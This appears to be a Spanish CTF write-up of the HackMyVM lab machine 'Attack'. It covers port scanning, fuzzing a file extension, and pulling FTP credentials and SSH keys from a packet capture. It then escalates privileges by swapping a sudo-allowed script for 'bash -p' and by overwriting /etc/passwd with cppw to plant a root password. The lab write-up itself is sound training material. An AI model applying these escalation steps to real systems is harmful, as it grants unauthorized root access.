cd ~/blog

~/writeups/hmv/001-attack.md

001 - Attack

medium Linux hmvautor: Jordy Pérez Osorio aviso legal
Cleartext Protocol Credential Exposure through PCAPSSH Private Key Disclosure through Captured FilesWritable Privileged Executable File through sudo attack.shArbitrary File Write through sudo cppw
hackmyvm.eu/machines/machine.php?vm=Attack

~2 min de lectura


Enumeración

Comenzamos con un escaneo general y específico de puertos con nmap. El primer barrido descubre los puertos abiertos a máxima velocidad; el segundo aplica scripts y detección de versiones sobre ellos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.144
❯ nmap -sC -sV -p21,22,80 -oN 02-targeted.txt 192.168.1.144
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-10 20:21 -03
Nmap scan report for 192.168.1.144
Host is up (0.00029s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f4:8d:08:b4:99:d2:0c:5d:75:b8:22:83:7b:c2:88:15 (RSA)
|   256 e2:16:0a:e7:38:4a:ec:76:cf:d3:56:78:07:fd:2f:25 (ECDSA)
|_  256 0b:5a:9c:71:cc:3b:50:04:46:18:ad:67:8a:df:d0:d6 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds

Tenemos tres servicios: FTP (ProFTPD), SSH y un servidor web nginx.

Análisis de la captura de red

Al abrir el sitio web nos recibe un mensaje del administrador, que filtra una pista clave: existe una captura de Wireshark publicada, pero se olvidó la extensión del archivo:

I did a capture with wireshark.
The name of the file is "capture" but i dont remember the extension :(

Fuzzeamos la extensión con gobuster en modo fuzz, sustituyendo el marcador FUZZ por cada entrada del diccionario y descartando las respuestas de longitud 169 (la página de error):

❯ gobuster fuzz -u http://192.168.1.144/capture.FUZZ -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt --exclude-length 169
...
Found: [Status=200] [Length=406500] [Word=pcap] http://192.168.1.144/capture.pcap
...

Descargamos capture.pcap y lo analizamos. El FTP viaja en texto plano, así que la captura conserva tanto los comandos de autenticación como sus valores y permite extraer directamente las credenciales de la sesión:

USER teste
PASS simple

Además, dentro de la captura viaja un archivo filexxx.zip que contiene una clave privada SSH. La primera clave, junto con el usuario teste, nos da acceso a la máquina. Este acceso no debe confundirse con el de jackob, cuya clave se obtiene después desde un segundo archivo con el mismo nombre.

QR oculto en la captura

Seguimos analizando el .pcap y encontramos un segundo filexxx.zip, con el mismo nombre que el anterior pero distinto tamaño, por lo que seleccionamos su traza y lo exportamos desde Wireshark (File > Export Objects).

Al descomprimirlo aparece una imagen con un código QR. Lo decodificamos con cualquier lector y obtenemos una URL:

http://localhost/jackobattack.txt

Ese archivo resulta ser la clave RSA SSH del usuario jackob. Establecemos la conexión, obtenemos la primera flag y comenzamos la escalada de privilegios.

Privilege Escalation a kratos mediante sudo script hijacking

Revisamos qué puede ejecutar jackob con sudo:

jackob@attack:~$ sudo -l
Matching Defaults entries for jackob on attack:
    !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jackob may run the following commands on attack:
    (kratos) NOPASSWD: /home/jackob/attack.sh

El script attack.sh se encuentra en nuestro propio home, donde tenemos permisos de escritura. Esto constituye un Writable Privileged Executable File: sudo confía en una ruta modificable por jackob, pero ejecuta su contenido con la identidad de kratos. Lo reemplazamos por uno que lance una shell con el flag -p, que preserva el UID efectivo:

#!/bin/bash
bash -p

Lo ejecutamos como kratos y obtenemos su shell:

jackob@attack:~$ sudo -u kratos /home/jackob/attack.sh
kratos@attack:~$

Privilege Escalation a root mediante sudo cppw

Repetimos la enumeración de sudo con el nuevo usuario:

kratos@attack:/home/kratos$ sudo -l
Matching Defaults entries for kratos on attack:
    !env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User kratos may run the following commands on attack:
    (root) NOPASSWD: /usr/sbin/cppw

El binario cppw se usa para reemplazar /etc/passwd por el archivo que le indiquemos. Ejecutarlo como root nos concede una escritura arbitraria sobre ese archivo crítico, por lo que podemos preparar una entrada de root con una contraseña bajo nuestro control.

Primero generamos un hash de contraseña con openssl:

kratos@attack:/home/kratos$ openssl passwd
Password:
Verifying - Password:
T31emqDlCr/kg

Creamos un passwd propio con la contraseña de root modificada:

root:T31emqDlCr/kg:0:0:root:/root:/bin/bash

Lo aplicamos con cppw e iniciamos sesión como root:

kratos@attack:/home/kratos$ sudo /usr/sbin/cppw passwd

kratos@attack:/home/kratos$ su root
Password:
root@attack:/home/kratos#

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados